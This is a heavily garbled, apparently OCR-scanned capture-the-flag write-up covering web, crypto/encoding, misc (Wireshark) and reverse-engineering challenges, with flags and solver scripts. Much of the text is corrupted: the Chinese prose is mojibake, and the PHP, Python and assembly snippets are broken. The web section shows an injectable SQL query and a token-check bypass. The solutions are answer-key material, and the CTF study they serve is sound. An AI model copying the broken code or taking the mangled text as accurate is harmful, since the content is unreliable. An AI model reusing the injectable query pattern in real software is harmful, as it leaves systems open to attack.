if($token ) die( );

$sql $token $emailAddress'"”;
$r = mysql_query($sql) or die(

$r = mysql fetch_assoc($r);

$r = $r[ 1

if($r>0){

echo $flag;

}else{

echo

s
s

s K HILELS, KT/, A chrome B & RS AN & H B AL

i AT R AL B AR

if(!empty($token)&&!empty($emailAddress))q{

if(strlen($token)!=10) die('fail');

if($token!="0") die('fail');

$sql = "SELECT count(*) as num from “user  where token='$token' AND email='$emailAddress'";

A] 1 7% B ik token i 106 HoR0, HALBHEH ABRGIZFMH, token=0000000000
HiNHBE4H, token BN
flag nctf{thanks_to_cumt_bxs}




(SIS N
7
THTIRZE Ik LHHIR A, BHiEFStegs/ i, BEITH file format X ZFflag

Dump of additional bytes:

Hex:

666c616732626374 66707069635£7969
6e2f7869655£7368 757d

Asci:

flag-nct f{pic_vi

] ol
BHETFRTR, BRREM, RAKRBH 2ip

RIEMRE LR KB, Hricflag

Y

easy

—F—HEM, base6dRF I

KeyBoard

BT~ b, AMBEEEBMAES S flag:nctf{areuhack}
base644 K Hi

—EBFH

R1pDVEINW1hHUTNETU4yQOdZWKRNTUpYROOZREtNW1dHTTIES1ISVOdIMORDT1pUR1kyVEANWIRHSTIVTU5SUkdaQ1RNTkIWSVkzREVOU1JHNFpU

TUSKVEdFWIRNT;JF

—k#tiTbase64. base32. base16f# % 5 flag



BHEAW % E 215 2flag

iEJgak3pjlaZONzLilTLWWTqzqGAtW20yOTq1A3pzgas

—Aphptn & KR A, HRIEAS w8 e SO BT

function encode ($=tr) {
$_o0 = strrevifstr);
for($_0=0;%_0<strlen(d o) ;3 0+ {
f_c = substr(§_o,$_0,1);
__ = ord(f_ci+l;
_c = chr(§__):
= _. e

return str_rotl3{strrevibasefd_encode( 1)) ;

<?php

function decode($str)

{

$="";
$one=str_rotl3($str);
$two=strrev($one);
$three=base64 decode($two);
$four=strrev($three);
for($i=0;%i<strlen($four);$i++)
{
$ _c=substr($four,$i,1);
$ =ord($_c)-1;
$ _c=chr($_);
$_=%_.%_c;
}
return $_;
¥
print decode("iEJqak3pjIaZONzLiITLwWTqzqGAtW20y0TqlA3pzqgas");
?>




fif % BN 15flag

EREL, WFEAHR10REENL basels. 32, 64 %, XEESPTERE KRR, KIXEE N Sflag

32
3445353434393741344435343532343234453434343933313445364135313331344537413531333134443641353537413445364234443331]
3445364135323432344535343539333134453434353234323445343435353331344534343535333134443741353533303444374135353332]
3445364234393332344534343535333234453435353137413444353435353739344534353435333134453434353533323445374134313331]
3445364135353741344535343535333134453534363333353445353434393331344535343539333034453435353933313444353434443737
3445343534353330344634343535333134453642343933303531353435313331344535343444333134453534344433313445343434443331
3445364135353331344536413444374134443434353234353445364234443331344436413532343234453534353133313445364136333737
3445353435313331344436413444373834453435343533303444374135353739344534343535333235313741353537393445353435353332]
3531374135353332344534343637333134453741353533303445343534353330344536413535373934443741343137413445353435323433]
3445353435393331344535343539333034453534343933303532353435313332344535343439333035313741353533303445364234443333]
3444343435353333344535343439374134443434344437373445374136423331344436413531333134453741353133303532364135353738
3444374134313330353235343531333434453534353533313445364136333737344534343535333134443741353533313444374136423330
3444374135353332344535343535333234453434353634323445343535313332353136413535333234453435343533313445343435413433]
3445374134313331344537413535373934443741343533303445364135393738344535343539333034453534363333303445353434313331]
3444353435413434344535343539333034463434353234363445343435313330353135343531333134453534353537413444343434443331])
3445343534443331344435343541343334453641353133313444364135323435344536423444333134443641353234343445353435313741]
3444343436333737344535343633333134443641363434323445353434353333344635343535373934453534353533313445364135323437
3445353434353741344434343536343234453434363733313445353435413433344534353435333034453534353537413444374134353330
3445364135323433344535343539333134453534354134343445343435393330353234343541343434453534343933303531374135353330
3445364234393330353235343531333234453534343937413444353435323432344534343531333134453641353133313445374135313330
3532353435353333344536423444333135313534353234323445353434393331344534343532343234453434353933313444364135353331)
3444374135353330353136413535333134443741343133323445343435353739344535343633333235313641353537393445343534353331]
3445343435413433344537413431333134453534353537393444374134353332353136413633333534453534353933303445353435413434]
3445343535393331344437413541343434453534343933303446343435353332344535343531333035313534353133313445353434443331)]
3445364135313332344535343444333134453641354134333445364135313330353135343532343534453642343933313444364135353737
3445353435313332353136413633373734453534363333313444364134443737344437413431333334463534353537393445343435353333]
3445343435323436344535343444333235313741353634323445343534353331344436413535333034453435343533313445353435353331)
3445353435353741344535343531333034453534343533323531364135393330344535343539333035323434344437373445353434393330
3531353435353331344535343539333334443434353533323445353434393741344435343541343334453741364233313445364135313331]
3445343535353330353236413535374134453642344433303532353435313334344535343531333134453641363337373445343435353331]
3444374135353331344437413642333034443741353533323445353435353332344437413444373734453435353133323531364135353332
3445343534353331344534343541343334453741353133303444374135353739344437413435333134453534363333353445353435393339
3445353435413434344535343439333134453534354134343445353534353330344634343535333134453534353133303531353435313332
3445353434393331344535343444333134453435343933313445374135313331344536413531333134443641353234353444374134353331]]
3444364135323434344535343535333134453534363337373445353435393331344437413531333134453534353533333446353435353332
3445343435353332353137413532343634453534363333323531374135323436344534343637333134453641353533323445364234443330
3445353435353741344535343539333034453641353234333445353435393330344535343539333034453534353933303532343435413433]
3445353434393331344436413535333034453642343933333444343435353333344535343439374134443434344433313445343435313331]
3444364135313331344536413531333134443741353537383445364234443331344436413532343234453534353533313445364136333737
3445353435393331344437413535333134443741343133333446353435353739344535343535333234453434353234373445353434353741]
34443434353133313444374136423331344434343535333034443741343137413446353133443344

16

AES54497A4D5452424E4449314E6A51314E7A51314D6A557A4E6BAD314E6A52424E5459314E4452424E4455314E4455314D7A55304D7A5532
AE6B49324E4455324E45517A4D5455794E4545314E4455324E7A41314E6A557A4E5455314E5463354E5449314E5459304E4559314D544D77
AE4A545304F4455314E6B4930515451314E544D314E544D314E444D314E6AS55314E6A4D7A4D4452454E6BAD314D6A52424E5451314E6A6377
AE5451314D6A4D784E4545304D7A55794E445532517A55794E545532517A55324E4467314E7A55304E4545304E6A55794D7A417A4E545243
AES5459314E5459304E544930525451324E544930517A55304E6B4D334D4455334E54497A4D444D774E7A6B314D6A51314E7A5130526A5578
4D7A4130525451344E5455314E6A63774E4455314D7A55314D7A6B304D7A55324E5455324E4456424E455132516A55324E4545314E445A43
AE7A41314E7A55794D7A45304E6A59784E5459304E5463304E5441314D545A444E5459304F4452464E445130515451314E54557A4D444D31
AE454D314D545A434E6A51314D6A52454E6B4D314D6A52444E54517A4D4463774E5463314D6A64424E5445334F5455794E5455314E6A5247
AES54457A4D4456424E4467314E545A434E4545304E54557A4D7A45304E6A52434E5459314E545A444E44593052445A444E544930517A5530)
AE6B4930525451324E54497A4D5452424E4451314E6A51314E7A5130525455334E6B4D31515452424E5449314E4452424E4459314D6A5531




4E4559314D7A5A444E5449304F4455324E545130515451314E544D314E6A51324E544D314E6A5A434E6A5130515452454E6B49314D6A5577
4E545132516A63774E5463314D6A4D774D7A41334F5455794E4455334E4452464E544D32517A56424E4545314D6A55304E4545314E545531
AES54557A4E5451304E544532516A59304E54593052444D774E544930515455314E5459334D4455324E54497A4D545A434E7A6B314E6A5131
4E455530526A557A4E6B4D30525451344E5451314E6A63774E4455314D7A55314D7A6B304D7A55324E5455324D7A4D774E455132516A5532
AE4545314E445A434E7A51304D7A55794D7A45314E5463354E5459304E545A444E5449314E545A444E5545304F4455314E54513051545132
AES5449314E544D314E4549314E7A51314E6A51314D6A52454D7A45314D6A52444E5455314E5463774E5459314D7A51314E5455334F545532
AE445532517A52464E546332517A52464E4467314E6A55324E6B4D304E54557A4E5459304E6A52434E5459304E5459304E54593052445A43
4E5449314D6A55304E6B49334D4455334E54497A4D444D314E4451314D6A51314E6A51314D7A55784E6B4D314D6A52424E5455314E6A6377
AE5459314D7A55314D7A41334F5455794E5455324E4452474E54457A4D4451314D7A6B314D4455304D7A417A4F513D3D

16
NTIzZMTRBNDI1INjQ1NzQ1MjUzNKkMINjRBNTYINDRBNDUINDU1IMzUGMZzU2NKkI2NDU2NEQzMTUYNEEINDU2NZAINJUZNTUINTCSNTIINTYONEYIMTMuj
NEEOODUINKIOQTQINTMINTMINDMINUINjMzMDRENKMIMFRBNTQ1INjcwNTQIMjMXNEEOMzUYNDU2QzUyNTU2QzU2NDg1NZUONEEONjUyMzAZNTRC
NTYINTYONTIORTQ2NTIOQzUONKM3MDU3INTIZzMDMWNZzKk1IMjQ1INzQORjUXxMzAGRTQANTUINGcwNDUIMzUIMzkOMzU2NTU2NDVBNEQ2QjU2NEEINDZC
NzAINzUyMzEONJjYXNTYONTCONTAIMTZDNTYOODRFNDQOQTQINTUZMDMINEMIMTZCNjQIMjRENKMIMjRDNTQzMDCcWNTcIMjdBNTE30TUYNTUINGRG
NTEzMDVBNDgINTZCNEEONTUzMZEONjRCNTYINTZDNDYORDZDNTIOQzUONKIORTQ2NTIZMTRBNDQINjQ1NZQORTU3INKM1QTRBNTI1INDRBNDY1MjUl
MzUOQjUIMzA2NDUYNTCc2QjUyNEEINDZCNZAINTUYMZE2Qjc5NTYONTZDNEY1MZzZDNTIOODU2NTQOQTQINTMINFQ2NTMINFZCNJQOQTRENKIIM]jUw
NTQ2Qj cwNTcIMjMwMzA30TUYNDU3NDRFNTM2QzVBNEEIMjUONEEINTUINTUZNTQONTE2QjYONTYORDMWNTIOQTUINTY3MDU2NTIZMTZCNZzk1INFQ1
NEUORjUzZNKMORTQANTQIN]j cwNDU1IMzU1IMzkOMzU2NTU2MzMWNEQ2QjU2NEEINDZCNZzQOMzUyMZzEINTCcSNTYONTZDNTIINTZDNUEGODUINTQOQTQ2
NTIINTMINEIINzQINjQIMjREMZEIMjRDNTUINTcwNTY1IMzQINTU30TU2NDU2QZzRFNTCc2QzRFNDgINjU2NKMONTUZNTYONJRCNTYONTYONTYORDZ(
NTI1IMjUONKI3MDU3SNTIzMDMINDQIMjQINjQ1IMzUXNKMIMFRBNTUING cwNTY1IMZzUIMZzA30TUYNTU2NDRGNTEZMDQ1MZzk1MDUGMZzAZ0Q==

64
52314A4256457452536C564A56544A4554553543566B64564D31524A54567056535555795255644F51304A48556B4A455355354356556330)
4D6C524A5456705452314A4352456C52556C564857544A465230354B565564524E46524C546C7057523030795245744F51304E4855567045
535539435655645A4D6B564A546B70575231466156457450516C56484E444A455530354C516B64524D6C524C54307057527A51795255564F
51305A48556B4A455331464B56556C464D6C524C546B4E4652314A445645744E576C5A4A52544A465255354B55306452576B524A546B7055
52316B7956456C4F536C524856544A4553564653566B644A4D6B5250546B7057523030795245744E536C5A4A52544A5555553544516B6456
4D30524A5556705652316B7956454E4F536C4E485456704553553943565563304D6B564A546B74435231557956456C52556C5A4855544A46
5255354B574564524D31524C555570565345557956456C4E576C4E4856566C455356464B564564564D6B5252546B70575230354452456453]
516C524A55567056535530795255644F5130453950543039

16
R1IBVEtRS1VIVTIETU5CVkdVM1RITVpVSUUYRUAOQOIHUKIESU5CVUCOMIRITVpTR1IICREIRUIVHWTIFROSKVUARNFRLT1pWROOYREtOQONHUVPE
SU9CVUdZMkVITkpWR1FaVEtPQ1VHNDIEU@5LQkdRM1RLTOpWRZzQyRUVOQOZHUKIESIFKVUIFMIRLTKNFR1IDVEtNW1ZIRTIFRUSKUGdRWKRITkpU
R1kyVELOS1RHVTJIESVFSVkdIMKRPTkpWROOYREtNS1ZIRTIUUU5DQkdVMORIUVPVR1kyVENOSINHTVpESU9CVUCOMkVITktCRIUyVEIRUIZHUTIF
RUSKWEdRM1RLUUpVSEUYVEINWINHVV1ESVFKVEdVMKRRTkpWRO5DREASQ1RIUVpPVSUGYRUAOQOESPTO9

64
GRATKQJUIU2DMNBVGU3TIMZUIE2EGNCBGRBDINBUG42TIMZSGRBDIQRUGY2EGNIUGQATKNZVGM2DKNCCGQZDIOBUGY2EINJIVGQZTKOBUG42DSNKB
GQ2TKOJVG42EENCFGRBDKQJUIE2TKNCEGRCTKMZVIE2EENISGQZDINITGY2TINITGU2DIQRVGI2DONIVGM2DKMIVIE2TQNCBGU3DIQZUGY2TCNIS
GMZDIOBUG42EINKBGU2TIQRVGQ2EENIXGQ3TKQIJUHE2TIMZSGUYDIQITGU2DQNIVGNCDGRBTIQZUIM2EGNCA====

32
AASA4EA464557434A4C4A4B444754324B4B464C54495753454B4248464D55435847495A4559574B4E4B5A4A554D4E535A4B52424536545354
4B52475534515A584A564C4651523248474D5A554B544B57475A495432504A3548553D3D3D3D3D3D

16
JZNFEWCILIKDGT2KKFLTIWSEKBHFMUCXGIZEYWKNKZJUMNSZKRBE6TSTKRGU4QZXIVLFQR2HGMZUKTKWGZIT2PJI5HU

64
NZRXIZT30JQW4ZDPNVPW22LYMVSF6YTBONSTMNC7MVXGG33EMV6Q====

32
nctf{random_mixed_base64_ encode}




L H ZRA PN AXOR— T, RIERR, —HHRKER B
FA A

#lusr/bin/python
#-*- coding:utf-8 -*-

f a=open('C:/Users/XX/Desktop/mi.txt', 'rb")
f b=open('C:/Users/XX/Desktop/ming.txt"', 'rb")

="".join(f_a.readlines())
b="".join(f_b.readlines())

s=""
for i,j in zip(a,b):
s+=chr(ord(i)”ord(j))

print s

MD5

HERER
#lusr/bin/python

#-*- coding:utf-8 -*-

import md5

import string

for i in string.uppercase:

for j in string.uppercase:

for k in string.uppercase:
a="TASC'+i+"O3RIMV'+j+"'WDIKX"+k+"ZM"
b=md5.md5(a).hexdigest()
if(b[@:5]=="e9032"):
print b

MISC

easy wireshark

W e AT 2 ) B 0 0T B, flag 72 ) TR

httpJ5 B A flag.php MTT, IERFEFHSREIT],

wireshark 2 (H1 T A &E R HIE L THA TR, W H M _Lwriteup)



T E#E wireshark &BE,
SR B —A zip

o D 7 W (o Ve T G g SPK.
B wwaas I eaiieisess s FLARENEUT PR - T TR T SERBRER RS N o R b
P s BN I, (o e o R I0h. e} waaan N i R garbage.8UT...

| Flag . exelT. . Ew. Bus. . ol . ) B L LN AL LY

BT AN KRR, BERBI—AZpcE, #E sedabeses KB B —Azp, BEHAA flag.zip, RETER
RIBIRAXHERIR, Hrar BE—TERUNEHAaglEREFN, TRERBMELR, SEoHEES
EALZTIE—TF http 55— secret.ixt

[kt
L ) Tine Soarce Bestization Langth Pratecal Infe
T15 1.977834 192, 168.1.130 152, 168.1.50 1514 HTTP
1045 3, T4B574 192. 1,138 192.168.1.58 1514 HTTP
1147 14.515. 192.168.1.50 192.168.1.13@ 187 HTTP
1149 14,518 192.166.1.138 192.168.1.58 424 HTTP
1157 17,176 192.168.1.50 192.168.1.138 = 185 HTTP
1159 17,182 192.168.1.130 192.168.1.50 1514 HTT® HIT
1819 18.633. 192.168.1.138 192,168.1.58 1514 HTT# Centinuation
2141 19.455. 192.168.1.139 192.168.1.50 1514 HTTP Contlnuation

P ;

IBEE T Fsecretitepiii, B3

the password for zip file is : ZipYourMouth

Reserve

Hello,RE!

windows T fexeXX 4, EEIDA, ITHoHHE:

int _ cdecl main(int argc, const char **argv, const char **envp)

_BYTE v4[3]; // [sp+11h] [bp-7Fh]@2
signed int v5; // [sp+75h] [bp-1Bh]@1
signed int v6; // [sp+79h] [bp-17h]@1
signed int v7; // [sp+7Dh] [bp-13h]@1
signed int v8; // [sp+81h] [bp-Fh]@1
signed int v9; // [sp+85h] [bp-Bh]@1
signed int v10; // [sp+89h] [bp-7h]@1
signed __intl16 v11; // [sp+8Dh] [bp-3h]@1
char v12; // [sp+8Fh] [bp-1h]@1

_main();

printf("iFf#Aflag: ");




1734437990;

v6 1818580859;

v7 1701670755;

v8 1601131615;

v9 = 1465861458;

v10 1684828783;

v1l 32033;

v12 0;

while ( scanf("%s", v4) != -1 & strcmp(v4, (const char *)&v5)

printf("flagtim. Hikik? \n");

printf("flaglEfi. \n");

printf ("R 164 H A I B S B OB X0l e B E IR A A \n" ) ;

printf("#S#Ectf.nuptsast.comffito 16Z%FAETHEE\n");

printf("BHFFENERrefIFHE23333\n");

getchar();

getchar();

return 0;

MAFRBEESNEPFAFRETHGLLE, REEEPHEE, DAY R S8 HEICHTFRURTRFEH, ER/DE Little P
BEH




SLYNEU LIIL VO; Ff [SpPreYi] [up—ifnag
signed int v?; /7 [sp+7Dh] [bp-13h]@1
signed int v8; // [sp+81h] [bp-Fh]@&1
signed int v9; // [sp+85h] [bp-Bh]@1
signed int vi18; // [sp+89h] [bp-7h]@1
signed int16 vi1; // [sp+8Dh] [bp-3h]E1
char vi2; // [sp+8Fh] [bp-1h]@&1

maln(),
printf (545 A Flag, );
vt = galF"
uh = "1el’;
Uy = 'emoc”;
ug = ' oT_";
ud = "W ER";
i@ = "dlvo’;
ull = "}t°;
iz = B3

wvhile { scanf{"%s", vh) *= -1 && strcmp{u4, {const char =}&uS}) }
printf("flagffiz. Bif 37 wn");

pr1ntF("FlagIEE§ n");

printé(hLE R 16R T H B BT A

printf("EfEjFctf nuptsast. cumﬁﬁtu 164 ?ﬁét mmEE

printf (iR Hli3 1 S0 re)E4E 2333350 5

getchar();
getchar();

5H B Sexpolitfe /7

num=[ |
[1734437990,1818580859,1701670755,1601131615,1465861458,1684828783,32033]

for i in

print (1),

print

num=[©Ox66,0x6cC,0x61,0x67,0x7b,0x57,0x65,0x6C,0x63,0x6T,0x6d,0x65,0x5f,0x54,0x6f,0x5f,0x52,0x45,0x5f,0x57,0x6f, 0X
72,0x6C,0x64,0x21,0x7d]

i in num:

flag

print flag

flag: flag{Welcome_To_RE_World!}

RedASM
BEAR L H B & b ikasm, S PTHIEES, KB AU T
B, HHCER:



int main(int argc, char const *argv[])

char input[] = {0x0, ©x67, Ox6e, Ox62, Ox63, Ox7e, Ox74, Ox62, Ox69, Ox6d,

Ox55, Ox6a, Ox7f, Ox60, Ox51, Ox66, Ox63, Ox4e, OX66, OX7b,

Ox71, Ox4a, Ox74, Ox76, Ox6b, Ox70, Ox79, Ox66 , Ox1c};

func(input, 28);

printf("%s\n",input+l);

return 0;

HA funcm st Fasm&s



00000000004004e6 <func>:

4004e6: 55 rbp

4004e7: 48 rbp, rsp

4004ea: 48 QWORD PTR [rbp-0x18],rdi

4004ee: 89 DWORD PTR [rbp-0x1c],esi

4004f1: c7 01 00 00 00 DWORD PTR [rbp-0x4],0x1

400418: eb j 400522 <func+0x3c>

4004fa: 8b eax,DWORD PTR [rbp-0x4]

4004fd: 48 rdx, eax

400500: 48 rax,QWORD PTR [rbp-0x18]

400504 : 48 rax, rdx

400507: 8b edx,DWORD PTR [rbp-0x4]

40050a: 48 movsxd rcx,edx

40050d: 48 rdx,QWORD PTR [rbp-0x18]

400511: 48 rdx, rcx

400514: of ecx,BYTE PTR [rdx]

400517: 8b edx,DWORD PTR [rbp-0x4]

40051a: 31 edx, ecx

40051c: 88 BYTE PTR [rax],dl

40051e: 83 DWORD PTR [rbp-0x4],0x1 ; countfgél B In#:fE

400522: 8b eax,DWORD PTR [rbp-0x4]

400525: 3b eax,DWORD PTR [rbp-0xlc]

400528: 7e j 4004fa <func+0x14>

40052a: 90

40052b: 5d

40052c:

KBEFST—TR, F—BELARTEFAHA, rdi, esi #HIE func() FHENMSH

ZEBERIBE =B, RHIWT esi 5 28 KIRPRR, BMEREAMFHFHKE

BB B, KPR LR T XA ERAE




for(int i=1;i<=28;i++)

input[i]=input[i]~i

H#E expolit :

[0x67,0x6e,0x62,0x63,0x7e,0x74,0x62,0x69,0x6d,0x55,0x6a,0x7f, Ox60, Ox51, Ox66, Ox63, Oxde, Ox66, Ox7b,0X
71, Ox4a, Ox74, Ox76, Ox6b, Ox70, Ox79,0x66,0x1c]

flag: flag{read_asm_is_the_basic}
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